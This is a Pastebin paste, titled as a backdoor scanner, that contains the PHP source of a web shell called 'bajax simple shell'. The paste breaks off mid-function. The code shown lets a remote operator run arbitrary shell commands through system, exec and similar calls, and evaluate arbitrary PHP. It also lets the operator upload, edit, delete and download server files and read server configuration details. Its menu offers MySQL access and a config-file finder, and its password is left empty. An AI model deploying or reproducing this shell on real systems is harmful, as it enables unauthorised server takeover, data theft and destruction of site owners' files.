Hasannetbd

Mini Backdoor scaner

Jan 19th, 2018
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 63.27 KB | None | 0 0
  1. <?
  2. /**
  3. * bajax simple shell v 1.2.1
  4. * author wildantea
  5. * email :
  6. * web : wildantea.com
  7. */
  8. error_reporting(0);
  9. session_start();
  10. @ini_set("max_execution_time",0);
  11. ob_start();
  12. class Bajax
  13. {
  14. private $con;
  15. private $password="";
  16. private $name="Bajax v1.2.1";
  17. private $datasec = array();
  18. private $ctrl_dir = array();
  19. private $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  20. private $old_offset = 0;
  21. private $find;
  22. private $ip;
  23. private $pdo;
  24. private $favicon="iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA21JREFUeNqMVUsotGEUPmNmMBjMYAolhBIi15VQlI0oImShbFz2f3IpysbSksKCXLKQBVlIuRXKdeE25JZbjIzLuJ//nNM/Xxj/7z91mvf7vvd93vM+53neUQGA2dPT0+Ds7Aw2mw3e399BpVIBh4eHBzw+PoLVaoWvERAQAIgIT09P8uzm5gZnZ2fXGhqbMjIy9GVlZZCSkgJqtVpAePLw8LDk4uKibMLv7IuLioogMTERMjMz5VtfXx80NjZquZQrSqOrqyvk5ORAS0sLhIeHy8LU1FRYX18XQCcnJ6U6BuZNb25uoKurS4pob2/nTxb4A4j29PPzw+npaeTY3t7GkpIS/FvU19cjVYgf1l85AHL6+PjgzMyMLNrZ2cG1tTUHsP7+fiwuLkaq/mdATm9vb5yfn8eDgwMMDg7G5eVlBWxjYwOJb7y8vMSlpaX/A+Q0Go1I3CBxhAaDARcWFvDu7g6JaxwfH0dSBE5MTHwClKZ4eXkZAwMDwcXFRSRisViEdA6WBZMeFhYGOp1OxhcXFxAZGQm8hhszNDQE8fHxsLq6apHW3d7eysKQkBBIS0sTjbEG29rapOsvLy9QUVEhG25tbUFVVRVkZ2dDb2+vSCc9PR3o+PD29gaKFljQrC+uUK/XQ2xsLHR2dsom/v7+Ut3h4aFIiisymUxA3MLk5CQUFBSAVqsVHDXlL3KKjpog+jo5OYHT01NxjdlshuPjY6l4c3NT3rNeqetwdHQk4FNTU0Dyko13d3dtirDhm6ipqYGsrCzIzc0F4hkGBwchKChIsRz/UsehtLTUvsSigX8EHyM6OlrGTH5DQwOMjo4C6RQ+UvU1vpVNQkIC0hGxsrIS8/PzlfcxMTFINCianJub+1mH7u7u4pDy8nIknvD19RWrq6s/gRKHAjg7O/sz4MDAAHZ3d8s4Li5OqaapqUmZExUVhdRAXFlZ+TdgXV0djo2NIfEnz0lJSZ88zM6xz42IiMCOjg5Hp3CX+YJl0ukGEQns7+8Lwb6+vpCXl6cQTseXjicnJ0unyZ7Q2toKxKVyfVlpAY6MjCA5Bs/Pz7Gnpwdra2sxNDTUoVmFhYXiaQJDsife39/j3t4eNjc3IznJyhWa6Q6Uv4CHhwepgpoCGo1GPGt/x8GXLPv3+flZ0h48l21JnF7/FmAA22tszHkUqewAAAAASUVORK5CYII=";
  25. //file manager goes here
  26. function header() {
  27. // favicon
  28. if(isset($_GET['fav'])){
  29. $data=base64_decode($this->favicon);
  30. header("Content-type:image/png");
  31. header("Cache-control:public");
  32. echo $data;
  33. exit;
  34. }
  35. $r='';
  36. $r.="<!DOCTYPE html><head><title>$this->name</title>";
  37. $r.='<link rel="SHORTCUT ICON" type="image/png" href="'.$_SERVER['SCRIPT_NAME'].'?fav" />';
  38. $r.="<style type='text/css'>
  39. body {
  40. background:#000;
  41. font-family:Tahoma,Verdana;
  42. color:#fff;
  43. font-size:12px;
  44. }
  45. #wrapper {
  46. margin:10px auto;
  47. padding:20px;
  48. background:#000;
  49. border-top:1px solid #00A600;
  50. -moz-box-shadow:inset 0 0 5px #00c6ff;
  51. -webkit-box-shadow: inset 0 0 5px #00c6ff;
  52. box-shadow: 0 0 5px #00A600;
  53. border-radius:5px;
  54. }
  55. #head {
  56. border-bottom:thin solid #00A600;
  57. padding:7px;
  58. line-height:1.3em;
  59. }
  60. #menu{border-bottom: 1px solid #00A600; padding: 5px; text-align: center; margin-bottom:15px;}
  61. #menu a{padding: 7px 10px; color: #fff; font-size: 13px; font-weight:bold;font-family: arial; text-decoration: none; }
  62. #menu a:hover{color: #00A600; text-decoration:none;-moz-border-radius:4px;-webkit-border-radius:4px;}
  63. #center{
  64. border:1px solid #00A600;
  65. font-size:12px;
  66. padding:10px;
  67. text-align:center;
  68. }
  69. #center table {
  70. width:100%;
  71. font-size:12px;
  72. margin:0 auto;
  73. }
  74. #center td {
  75. border-bottom:1px solid #00A600;
  76. padding:5px;
  77. margin-bottom:10px;
  78. }
  79. #center #input {
  80. border:1px solid #00A600;
  81. width:400px;
  82. border:1px solid #00A600;
  83. background:#000;
  84. color:#fff;padding:3px;
  85. margin-left:10px;
  86. }
  87. #center #input:hover {
  88. background-color:#2e2e2e;
  89. }
  90. #isi #but:hover {
  91. color:#ffffff;
  92. background:#00A600;
  93. }
  94. #center #cmd {
  95. width:700px;
  96. border:1px solid #00A600;
  97. background:#000;
  98. color:#fff;padding:3px;
  99. }
  100. #center #cmd:hover {
  101. background:#2e2e2e;
  102. }
  103. #center #pos {
  104. border-bottom:1px solid #00A600;
  105. text-align:center;
  106. padding:5px;
  107. }
  108. #pos textarea {
  109. height:100px;
  110. width:500px;
  111. margin:5px 0 5px 0;
  112. resize:none;
  113. }
  114. #isi {
  115. border:1px solid #00A600;
  116. margin:10px auto;
  117. padding:10px;
  118. color:#fff;
  119. padding-bottom:15px;
  120. line-height:1.5em;
  121. }
  122. #see {
  123. border:1px solid #00A600;
  124. margin:10px auto;
  125. padding:10px;
  126. padding-right:15px;
  127. color:#fff;
  128. padding-bottom:15px;
  129. line-height:1.5em;
  130. overflow-x:scroll;
  131. }
  132. #isi textarea {
  133. line-height:1.5em;
  134. border:none;
  135. background:#000;
  136. width:100%;
  137. height:300px;
  138. margin-bottom:10px;
  139. font-size:12px;
  140. color:#fff;
  141. border-bottom:1px solid #00A600;
  142. resize:none;
  143. }
  144. #isi input:hover {
  145. color:#00A600;
  146. }
  147. #footer {
  148. font-size:12px;
  149. text-align:center;
  150. }
  151. .xpltab {
  152. font-size:11px;
  153. color:#fff;
  154. font-family:Tahoma,Verdana,Arial;
  155. border-right:thin solid #00A600;
  156. }
  157. .xpltab th {
  158. background-color: #00A600;
  159. padding:4px;
  160. opacity:50%;
  161. border:thin solid #000;
  162. border-left:thin solid #00A600;
  163. border-right:thin solid #000;
  164. }
  165. .xpltab th:hover {
  166. color:#fff;
  167. }
  168. .xpltab td {
  169. border-bottom:thin solid #00A600;
  170. border-left:thin solid #00A600;
  171. padding:5px;
  172. }
  173. a:link,a:active,a:visited {
  174. text-decoration:none;
  175. color:#00A600;
  176. }
  177. #box {
  178. border:1px solid #00A600;
  179. width:200px;
  180. border:1px solid #00A600;
  181. -moz-border-radius:3px;
  182. -webkit-border-radius:3px;
  183. background:#000;
  184. color:#fff;padding:3px;
  185. margin-left:7px;
  186. margin-right:7px;
  187. }
  188. .tengah {
  189. margin:0 auto;
  190. display:block;
  191. font-size:14px;
  192. }
  193. hr {
  194. line-color:#00A600;
  195. }
  196. #but:hover {
  197. background-color: #00A600;
  198. color:#fff;
  199. }
  200. #but {
  201. height:25px;
  202. background:#222;
  203. color:#fff;
  204. padding:3px;
  205. width:70px;
  206. border-radius:4px;
  207. -moz-border-radius:4px;
  208. -webkit-border-radius:4px;
  209. border:none;
  210. margin-left:7px;
  211. }
  212. #but:active {
  213. position:relative;
  214. top:1px;
  215. }
  216. #col {
  217. margin-left:7px;
  218. float:left;
  219. line-height:2.4em;
  220. }
  221. #val{
  222. margin-left:20px;
  223. float-right;
  224. margin-bottom:7px;
  225. }
  226. #sqlbox {
  227. border:1px solid #00A600;
  228. width:1000px;
  229. border:1px solid #00A600;
  230. background:#000;
  231. color:#fff;padding:3px;
  232. margin-left:7px;
  233. margin-right:7px;
  234. }
  235. .gede {
  236. font-size:20px;
  237. margin:0 auto;
  238. color:#00A600;
  239. }
  240. </style></head><body><div id='wrapper'><div id='head'>
  241. ".php_uname()."<br />".$_SERVER['SERVER_SOFTWARE']."<br />".get_current_user()."<br />Server Ip : ".gethostbyname($_SERVER['HTTP_HOST'])."<br />Your IP : ".$_SERVER['REMOTE_ADDR']."<br />".$this->drive()."</div>";
  242. return $r;
  243. }
  244. function menu ()
  245. {
  246. $r='';
  247. $menu=array("[ Files ]"=>"?act=file&dir=".$this->dir()."", "[ Mysql ]"=>"?act=mysql&dir=".$this->dir()."","Info.Ser"=>"?act=ser&dir=".$this->dir()."", "Encoder"=>"?act=encode&dir=".$this->dir()."", "Writable Dir"=>"?act=write&dir=".$this->dir()."","BD Scanner"=>"?act=bds&dir=".$this->dir()."","Config Finder"=>"?act=loc&dir=".$this->dir(),"Search File"=>"?act=search&dir=".$this->dir(),"Logout"=>"?act=out");
  248. $r.="<div id='menu'>";
  249. foreach($menu as $val=>$key){
  250. $r.="<a href='$key'>$val</a>";
  251. }
  252. $r.= "</div>";
  253. return $r;
  254. }
  255. function logo() {
  256. $r='';
  257. $r.="<pre><center>
  258. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  259. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmhyssssydmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  260. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNds+oydmmmdhs+odNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  261. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmddhs/hNMMMMMMMMMNh/ymNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  262. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmyooosy+.mMMMMMMMMMMMMMm:sssydmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  263. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNd/omNMMM+/MMMMMMMyhMMMMMMmmmmds+smNMMMMMMMMMMMMMMMMMMMMMMMMMMM
  264. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMd/sMMMMMMy.mMMMMMMd:MMMMMMMMMMMMNy/hNMMMMMMMMMMMMMMMMMMMMMMMMMM
  265. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmh-NMMMMMMMy/ohdmdh/yMMMMMMMMMMMMMMd:hNMMMMMMMMMMMMMMMMMMMMMMMMM
  266. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmyso+oMMMMMMMMMNmhhyhdmMMMMMMMMMMMMMMMMs/mMMMMMMMMMMMMMMMMMMMMMMMMM
  267. MMMMMMMMMMMMMMMMMMMMMMNmmNNMMNmho+ydmNNMMMMMMMMMMMMMMMMMMMMMMNddmMMMMMMMm.dNMMMMMMMMMMMMMMMMMMMMMMMM
  268. MMMMMMMMMMMMMMMMMMMMMMNh-+syys+odNMMMMMMMMMMMMMMMMMMMMMMMMMNoohhdMMMMMMMm-dNMMMMMMMMMMMMMMMMMMMMMMMM
  269. MMMMMMMMMMMMMMMMMMMMMMMmo/dhhdmMMMMMMMMMMMMMMMMMMMMMMMMMMMMs+NMMMMMMMMMMs+mMMMMMMMMMMMMMMMMMMMMMMMMM
  270. MMMMMMMMMMMMMMMMMMMMMMMNm/sMMMMMMMMMMdyssssymMMMMMMMMMMMMMM:dMMMMMMMMMMh/dNMMMMMMMMMMMMMMMMMMMMMMMMM
  271. MMMMMMMMMMMMMMMMMMMMMMMMNd+sNMMMMMMMosmNMMMm+NMMMMMMMMMMMMMy+mMMMMMMNdsodNMMMMMMMMMMMMMMMMMMMMMMMMMM
  272. MMMMMMMMMMMMMMMMMMMMMMMMMMms+ymNMMMN.MMMMMMMNMMMMMMMMMMMMMMMhooyhhysosdNMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  273. MMMMMMMMMMMMMMMMMMMMMMMMMMMNmyooosso.hMMMMMMMMMMMNMMMMMMMMMMMN+ohhdmNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  274. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNNmmmmh:hNMMMMMMMmy/smNMMMMMNmdoymMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  275. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNdooshddhyo+sdsoosyyssssymNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  276. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmdhyyhdmNMMMNNmddmmNNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  277. MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
  278. </pre></center>";
  279. return $r;
  280. }
  281. function footer()
  282. {
  283. $r='';
  284. $r.="</div></div><div id='footer'>Copy Left AKATSUKI ".date("Y")."</div>";
  285. return $r;
  286. }
  287. function xpl() {
  288. $r='';
  289. if ($_POST['aksi']=='download' && $_POST['pilih']>0) {
  290. $this->get_selected($_POST['pilih']);
  291. } elseif ($_POST['aksi'] =='delete' && $_POST['pilih']>0) {
  292. $this->del_selected($_POST['pilih']);
  293. }
  294. $dname=array();
  295. $fname=array();
  296. if ($dh=opendir($this->dir())) {
  297. while(false !==($name=readdir($dh))) {
  298. if($name !='.') {
  299. (is_dir($name))?$dname[]=$name:$fname[]=$name;
  300. }
  301. }
  302. closedir($dh);
  303. }
  304. sort($dname);
  305. sort($fname);
  306. $no=0;
  307. $r.="<center>Current Location : <br />".$this->current('file');
  308. $r.="</center><div id='isi'><table border=0 style='width:100%' cellspacing=0 class='xpltab'><tr><th style='width:50%;'>Name</th><th style='width:70px;'>Size</th><th style='width:100px;'>Owner : Group</th><th style='width:80px;'>Permission</th><th style='width:50px;'>Writable</th><th style='100px;'>Modified</th><th>Action</th>";
  309. foreach( $dname as $folder )
  310. {
  311. $own=function_exists('posix_getpwuid')?posix_getpwuid(fileowner($this->dir().$folder)):"0";
  312. $group=function_exists('posix_getpwuid')?posix_getpwuid(filegroup($this->dir().$folder)):"0";
  313. $owner=$own['name'].":".$group['name'];
  314. $write=is_writable($this->dir().$folder)?"Yes":"No";
  315. $r.='<form method="post" action="" name="aksi_sel">';
  316.  
  317. if($folder =='..')
  318. {
  319. $pwd=$this->up($this->dir());
  320. $r .="<tr><td><a href='?act=file&amp;dir=$pwd'>$folder </a></td><td>LINK</td><td>$owner</td><td>".substr(sprintf('%o', fileperms($this->dir().$folder)),-3)."</td><td>$write</td><td>".date("d-M-Y H:i",filemtime($this->dir().$folder))."</td></tr>";
  321.  
  322. } else {
  323. $d=$this->dir();
  324. $r .="<tr><td><a href='?act=file&amp;dir=$d$folder".DIRECTORY_SEPARATOR."'>$folder /</a></td><td>".$this->getSize($this->foldersize($d.$folder))."</td><td>$owner</td><td>".(is_readable($folder)?substr(sprintf('%o', fileperms($d.$folder.DIRECTORY_SEPARATOR)),-3):'Forbidden')."</td><td>$write</td><td>".date("d-M-Y H:i",filemtime($d.$folder.DIRECTORY_SEPARATOR))."</td><td><a href='?act=ren&dir=$d&file=$folder'>Ren</a> | <a href='?act=file&act3=del&dir=$d&file=$d$folder'>Del</a> | <a href='?act=downfolder&file=".$d.$folder.DIRECTORY_SEPARATOR."'>Download</a><input id=\"pilih$no\" name=\"pilih[]\" value=\"".$d.$folder.DIRECTORY_SEPARATOR."\" type=\"checkbox\" ></td></tr>";
  325. }
  326. $no++;
  327. }
  328. foreach($fname as $file)
  329. {
  330. $own=function_exists('posix_getpwuid')?posix_getpwuid(fileowner($this->dir().$file)):"0";
  331. $group=function_exists('posix_getpwuid')?posix_getpwuid(filegroup($this->dir().$file)):"0";
  332. $owner=$own['name'].":".$group['name'];
  333. $write=is_writable($this->dir().$file)?"Yes":"No";
  334. $d=$this->dir();
  335. $r .="<tr><td><a href='?act=lihat&dir=$d&file=$d$file'>$file</a></td><td>".$this->getSize(filesize($file))."</td><td>$owner</td><td>".(is_readable($file)?substr(sprintf('%o', fileperms($file)),-3):'forbidden')."</td><td>$write</td><td>".date("d-M-Y H:i",filemtime($file))."</td><td><a href='?act=edit&dir=$d&file=$file'>Edit</a> | <a href='?act=ren&dir=$d&file=$file'>Ren</a> | <a href='?act=file&act2=del&dir=$d&file=".$this->replace($d.$file)."'>Del</a> | <a href='?act=downfile&file=".$this->replace($d.$file)."'>Download</a><input id=\"pilih$no\" name=\"pilih[]\" value=\"$file\" type=\"checkbox\" ></td></tr>";
  336. $no++;
  337. }
  338. $r.= "</table><script>
  339. function ls_setcheckboxall(status)
  340. {
  341. var id = 1;
  342. var num = 43;
  343. while (id <= num)
  344. {
  345. document.getElementById('pilih'+id).checked = status;
  346. id++;
  347. }
  348. }
  349. function ls_reverse_all()
  350. {
  351. var id = 1;
  352. var num = 43;
  353. while (id <= num)
  354. {
  355. document.getElementById('pilih'+id).checked = !document.getElementById('pilih'+id).checked;
  356. id++;
  357. }
  358. }
  359. </script>";
  360. $r.='<br><center><input id="but" type="button" onclick="ls_setcheckboxall(true);" value="Select all">&nbsp;&nbsp;<input id="but" type="button" onclick="ls_setcheckboxall(false);" value="Unselect"> <select style="background:#222;color:#fff" name="aksi" ><option>On selected</option><option value="delete">Delete</option><option value="download">Download</option></select> <input type="submit" id="but" name="kirim" value="confirm"></center></form></div>';
  361. return $r;
  362. }
  363. function up($d) {
  364. $s=DIRECTORY_SEPARATOR;
  365. $d=explode($s,$d);
  366. array_pop($d);
  367. array_pop($d);
  368. $r=implode($d,$s).DIRECTORY_SEPARATOR;
  369. return $r;
  370. }
  371. function current($f) {
  372. $d=explode(DIRECTORY_SEPARATOR, $this->dir());
  373. $s='';
  374. $r='';
  375. for ($i=0; $i <count($d); $i++) {
  376. $s.=$d[$i].DIRECTORY_SEPARATOR;
  377. ($i==count($d)-1?$r.="<a href='?act=$f&dir=".$s."'>$d[$i]</a>":$r.="<a href='?act=$f&dir=".$s."'>$d[$i]".DIRECTORY_SEPARATOR."</a>");
  378. }
  379. return $r;
  380. }
  381. function getsize($s) {
  382. if(!$s) return 0;
  383. if($s>=1073741824) return(round($s/1073741824,2)." GB");
  384. elseif($s>=1048576) return(round($s/1048576,2)." MB");
  385. elseif($s>=1024) return(round($s/1024,2)." KB");
  386. else return($s." B");
  387. }
  388. function foldersize($path) {
  389. $total_size = 0;
  390. $files = scandir($path);
  391. $cleanPath = rtrim($path, '/'). '/';
  392. foreach($files as $t) {
  393. if ($t<>"." && $t<>"..") {
  394. $currentFile = $cleanPath . $t;
  395. if (is_dir($currentFile)) {
  396. $size = $this->foldersize($currentFile);
  397. $total_size += $size;
  398. }
  399. else {
  400. $size = filesize($currentFile);
  401. $total_size += $size;
  402. }
  403. }
  404. }
  405. return $total_size;
  406. }
  407. function converter()
  408. {
  409. $r='';
  410. $r.="<div id='isi'>";
  411. $opt=array("MD5"=>"md5","Hex"=>"hexa","Base64 Encoder"=>"64en","Base64 Decoder"=>"64de","SHA1"=>"sha1","URL Encoder"=>"urlen","URL Decoder"=>"urlde");
  412. if(isset($_POST['submit'])&&!empty($_POST['convert']))
  413. {
  414. $val=$this->convert($_POST['isi']);
  415. $r.="<textarea >$val</textarea>";
  416. }
  417. $isi="<center><form method='post' action='?act=encode'><textarea style='width:50%;height:100px;border:1px solid #00A600;' name='convert' ></textarea><br /><select name='isi' id='box'>";
  418. foreach ($opt as $k=>$v) {
  419. $isi.="<option value=$v>".$k."</option>";
  420. }
  421. $r.=$isi."<input type='submit' name='submit' style='color:#fff' id='but' value='Convert'></form></center></div>";
  422. return $r;
  423. }
  424. function convert($isi)
  425. {
  426. $i=$_POST['convert'];
  427. switch ($isi) {
  428. case 'md5':$c=md5($i);return $c;break;
  429. case 'hexa':$c=bin2hex($i);return $c;break;
  430. case '64en':$c=base64_encode($i);return $c;break;
  431. case '64de':$c=base64_decode($i);return $c;break;
  432. case 'sha1':$c=sha1($i);return $c;break;
  433. case 'urlen':$c=urlencode($i);return $c;break;
  434. case 'urlde':$c=urldecode($i);return $c;break;
  435. }
  436. }
  437. function infoser()
  438. {
  439. $r="<div id='isi'><table style='font-size:12px;'>";
  440. $r.="<tr><td>Disable Function </td><td>: ".(ini_get('disable_functions')?ini_get('disable_functions'):"All Function Enable")."</td></tr>";;
  441. $r.="<tr><td>Safe Mode </td><td>: ".(ini_get('safe_mode')?"On":"Off")."</td></tr>";
  442. $r.="<tr><td>Open Base Dir </td><td>: ".ini_get('openbase_dir')."</td></tr>";
  443. $r.="<tr><td>Php version </td><td>: ".phpversion()."</td></tr>";
  444. $r.="<tr><td>Register Global </td><td>: ".(ini_get('register_global')?'Enable':'Disable')."</td></tr>";
  445. $r.="<tr><td>Curl </td><td>: ".(extension_loaded('curl')?'Enable':'Disable')."</td></tr>";
  446. $r.="<tr><td>Database Mysql </td><td>: ".(function_exists('mysql_connect')?'On':'Off')."</td></tr>";
  447. $r.="<tr><td>Magic Quotes </td><td>: ".(ini_get('Magic_Quotes')?'On':'Off')."</td></tr>";
  448. $r.="<tr><td>Remote Include </td><td>: ".(ini_get('allow_url_include')?'Enable':'Disable')."</td></tr>";
  449. $r.="<tr><td>Disk Free Space </td><td>: ".$this->getSize(diskfreespace($this->dir()))."</td></tr>";
  450. $r.="<tr><td>Total Disk Space </td><td>: ".$this->getSize(disk_total_space($this->dir()))."</td></tr>";
  451. $r.="</table></div>";
  452. return $r;
  453. }
  454. function replace($dir) {
  455. return str_replace('\\','/', $dir);
  456. }
  457. function center()
  458. {
  459. $r='';
  460. $r.='<div id="center"><div id="pos"><form method="post" action="?act=cmd&dir='.$this->dir().'">Command <input type="hidden" name="action" value="command"><input type="text" id="cmd" name="cmd" value=""><input type="submit" id="but" name="submit" value="Execute"></form></div><br /><div id="pos"><form method="post" action="?act=eval&dir='.$this->dir().'">PHP Eval <br /><input type="hidden" name="action" value="eval"><textarea placeholder="//don\'t include php tag" id="cmd" name="eval"></textarea><br /><input type="submit" id="but" name="submit" value="Execute"></form></div><form method="post" action="?act=file&dir='.$this->dir().'"><table><tr><td>Create Directory : <input type="hidden" name="action" value="mkdir"><input type="text" id="input" placeholder="mydir" name="dir"><input type="submit" id="but" name="submit" value="Create"></form></td><td><form method="post" action="?act=file&dir='.$this->dir().'">Create File : <input type="hidden" name="action" value="createfile"><input type="text" placeholder="sample.txt" id="input" name="file" value=""><input type="submit" id="but" name="submit" value="Create"></form></td></tr></table>
  461. <div id="pos"><form method="post" action="?act=file&dir='.$this->dir().'" enctype="multipart/form-data"><input type="hidden" name="action" value="uploader">Upload File <p /> Save To <input type="text" id="input" name="tujuan" value="'.$this->dir().'"><br /><input type="file" name="berkas"><input type="submit" name="submit id="but" value="upload"></form></div></div>';
  462. return $r;
  463. }
  464. function drive() {
  465. $r='';
  466. foreach (range("A", "Z") as $val) {
  467. if(is_dir($val.":".DIRECTORY_SEPARATOR))
  468. {
  469.  
  470. $ad=$val.":".DIRECTORY_SEPARATOR;
  471. $r=$r.="<a href='?act=file&dir=$ad'>$val:".DIRECTORY_SEPARATOR."</a> ";
  472. }
  473. }
  474. return $r;
  475. }
  476. function dir() {
  477. if(isset($_GET['dir'])) {
  478. $dir =$_GET['dir'];
  479. if(is_dir($dir)){
  480. chdir($dir);
  481. return $dir;
  482. }
  483. }
  484. else {
  485. return getcwd().DIRECTORY_SEPARATOR;
  486. }
  487. }
  488. function remdir() {
  489. if(is_writable($_REQUEST['file']))
  490. {
  491. $dir=$_GET['file'];
  492. $this->deleteDirectory($dir);
  493. }
  494. else{return $this->alert("Permission Denied !");}
  495. }
  496. function remfile()
  497. {
  498. $file=$_GET['file'];
  499. if(is_file($file)){
  500. unlink($file);
  501. }else{ return $this->alert("Permission Denied");}
  502. }
  503. function editfile($file)
  504. {
  505. if(!empty($_POST['rename']))
  506. {
  507. rename($_POST['file'],$_POST['rename']);
  508. }
  509. $fp=fopen($_POST['rename'],'w');
  510. if(!$fp)return 0;
  511. fwrite($fp, stripslashes($_POST['isi']));
  512. fclose($fp);return 1;
  513.  
  514. }
  515. //rename file to new name
  516. function rename($file)
  517. {
  518. if(!empty($_POST['rename']))
  519. {
  520. if(rename($_POST['file'],$_POST['rename']));
  521. return 1;return 0;
  522. }
  523. }
  524. function alert($text) {
  525. $r="<script>alert('$text');</script>";
  526. return $r;
  527. }
  528. function deleteDirectory($dir) {
  529. if (!file_exists($dir)) return true;
  530. if (!is_dir($dir) || is_link($dir)) return unlink($dir);
  531. foreach (scandir($dir) as $item) {
  532. if ($item == '.' || $item == '..') continue;
  533. if (!$this->deleteDirectory($dir . "/" . $item)) {
  534. chmod($dir . "/" . $item, 0777);
  535. if (!$this->deleteDirectory($dir . "/" . $item)) return false;
  536. };}return rmdir($dir);
  537. }
  538. function createfile() {
  539. if(!empty($_POST['file'])) {
  540. $fp=fopen($this->replace($this->dir.$_POST['file']),"w");
  541. if($fp)
  542. {
  543. fclose($fp);
  544. $r= $this->alert("file Created");
  545. }
  546. }
  547.  
  548. return $r;
  549. }
  550. function mkdir()
  551. {
  552. if(!empty($_POST['dir']))
  553. {
  554. if(mkdir($this->replace($this->dir()).$_POST['dir']))
  555. return true;else return "Permission Denied";
  556. }
  557. }
  558. function upload()
  559. {
  560. $r='';
  561. if(!empty($_FILES['berkas']))
  562. {
  563. $dest=$this->replace($_POST['tujuan']);
  564. $name=$dest.$_FILES['berkas']['name'];
  565. if(move_uploaded_file($_FILES['berkas']['tmp_name'],$name))
  566. return true;else $r.= $this->alert("failed");
  567. }
  568. return $r;
  569. }
  570. function seval($c) {
  571. ob_start();
  572. eval($c.";");
  573. $h=ob_get_contents();
  574. ob_end_clean();
  575. return $h;
  576. }
  577. function phpeval() {
  578. $r='';
  579. $r.='<div id="isi">';
  580. if(isset($_POST['submit'])&&!empty($_POST['eval']))
  581. {
  582. $r.=htmlspecialchars($this->seval($_POST['eval']));
  583. }
  584. else $r.=header("location:?act=file&dir=".$this->dir());
  585. $r.='</div>';
  586. return $r;
  587. }
  588. function execution($r) {
  589. if(function_exists('system'))
  590. {
  591. ob_start();
  592. system($r);
  593. $s=ob_get_contents();
  594. ob_end_clean();
  595. return $s;
  596. }
  597. elseif(function_exists('passthru'))
  598. {
  599. ob_start();
  600. passthru($r);
  601. $s=ob_get_contents();
  602. ob_clean();
  603. return $s;
  604. }
  605. elseif(function_exists('exec'))
  606. {
  607. $s='';
  608. exec($r,$h);
  609. foreach ($h as $hasil) {
  610. $s.=$hasil;
  611. }
  612. return $s;
  613. }
  614. elseif(function_exists('shell_exec'))
  615. {
  616. $s=shell_exec($r);
  617. return $s;
  618. }
  619. return "All function Disable";
  620. }
  621. function command() {
  622. $r='';
  623. $r.='<div id="isi">';
  624. if(!empty($_POST['cmd']))
  625. {
  626. $r.="<pre>".$this->execution($_POST['cmd'])."</pre>";
  627. $r.="</div>";
  628. }
  629. else $r.=header("location:?act=file&dir=".$this->dir());
  630. return $r;
  631. }
  632. function del_selected($files) {
  633. $r='';
  634. foreach ($files as $file) {
  635. if (is_dir($file)) {
  636. if (is_writable($file)) {
  637. $this->deleteDirectory($file);
  638. } else {
  639. $r.=$this->alert('permission denied');
  640. }
  641. } elseif(is_file($file)) {
  642. if (is_writable($file)) {
  643. unlink($file);
  644. } else {
  645. $r.=$this->alert('permission denied');
  646. }
  647. }
  648. }
  649. return $r;
  650. }
  651. function add_dir($name) {
  652. $name = str_replace("\\", "/", $name);
  653. $fr = "\x50\x4b\x03\x04";
  654. $fr .= "\x0a\x00";
  655. $fr .= "\x00\x00";
  656. $fr .= "\x00\x00";
  657. $fr .= "\x00\x00\x00\x00";
  658. $fr .= pack("V",0);
  659. $fr .= pack("V",0);
  660. $fr .= pack("V",0);
  661. $fr .= pack("v", strlen($name) );
  662. $fr .= pack("v", 0 );
  663. $fr .= $name;
  664. $fr .= pack("V",$crc);
  665. $fr .= pack("V",$c_len);
  666. $fr .= pack("V",$unc_len);
  667. $this -> datasec[] = $fr;
  668. $new_offset = strlen(implode("", $this->datasec));
  669. $cdrec = "\x50\x4b\x01\x02";
  670. $cdrec .="\x00\x00";
  671. $cdrec .="\x0a\x00";
  672. $cdrec .="\x00\x00";
  673. $cdrec .="\x00\x00";
  674. $cdrec .="\x00\x00\x00\x00";
  675. $cdrec .= pack("V",0);
  676. $cdrec .= pack("V",0);
  677. $cdrec .= pack("V",0);
  678. $cdrec .= pack("v", strlen($name) );
  679. $cdrec .= pack("v", 0 );
  680. $cdrec .= pack("v", 0 );
  681. $cdrec .= pack("v", 0 );
  682. $cdrec .= pack("v", 0 );
  683. $ext = "\x00\x00\x10\x00";
  684. $ext = "\xff\xff\xff\xff";
  685. $cdrec .= pack("V", 16 );
  686. $cdrec .= pack("V", $this -> old_offset );
  687. $this -> old_offset = $new_offset;
  688. $cdrec .= $name;
  689. $this -> ctrl_dir[] = $cdrec;
  690. }
  691. function add_file($data, $name)
  692. {
  693. $name = str_replace("\\", "/", $name);
  694. $fr = "\x50\x4b\x03\x04";
  695. $fr .= "\x14\x00";
  696. $fr .= "\x00\x00";
  697. $fr .= "\x08\x00";
  698. $fr .= "\x00\x00\x00\x00";
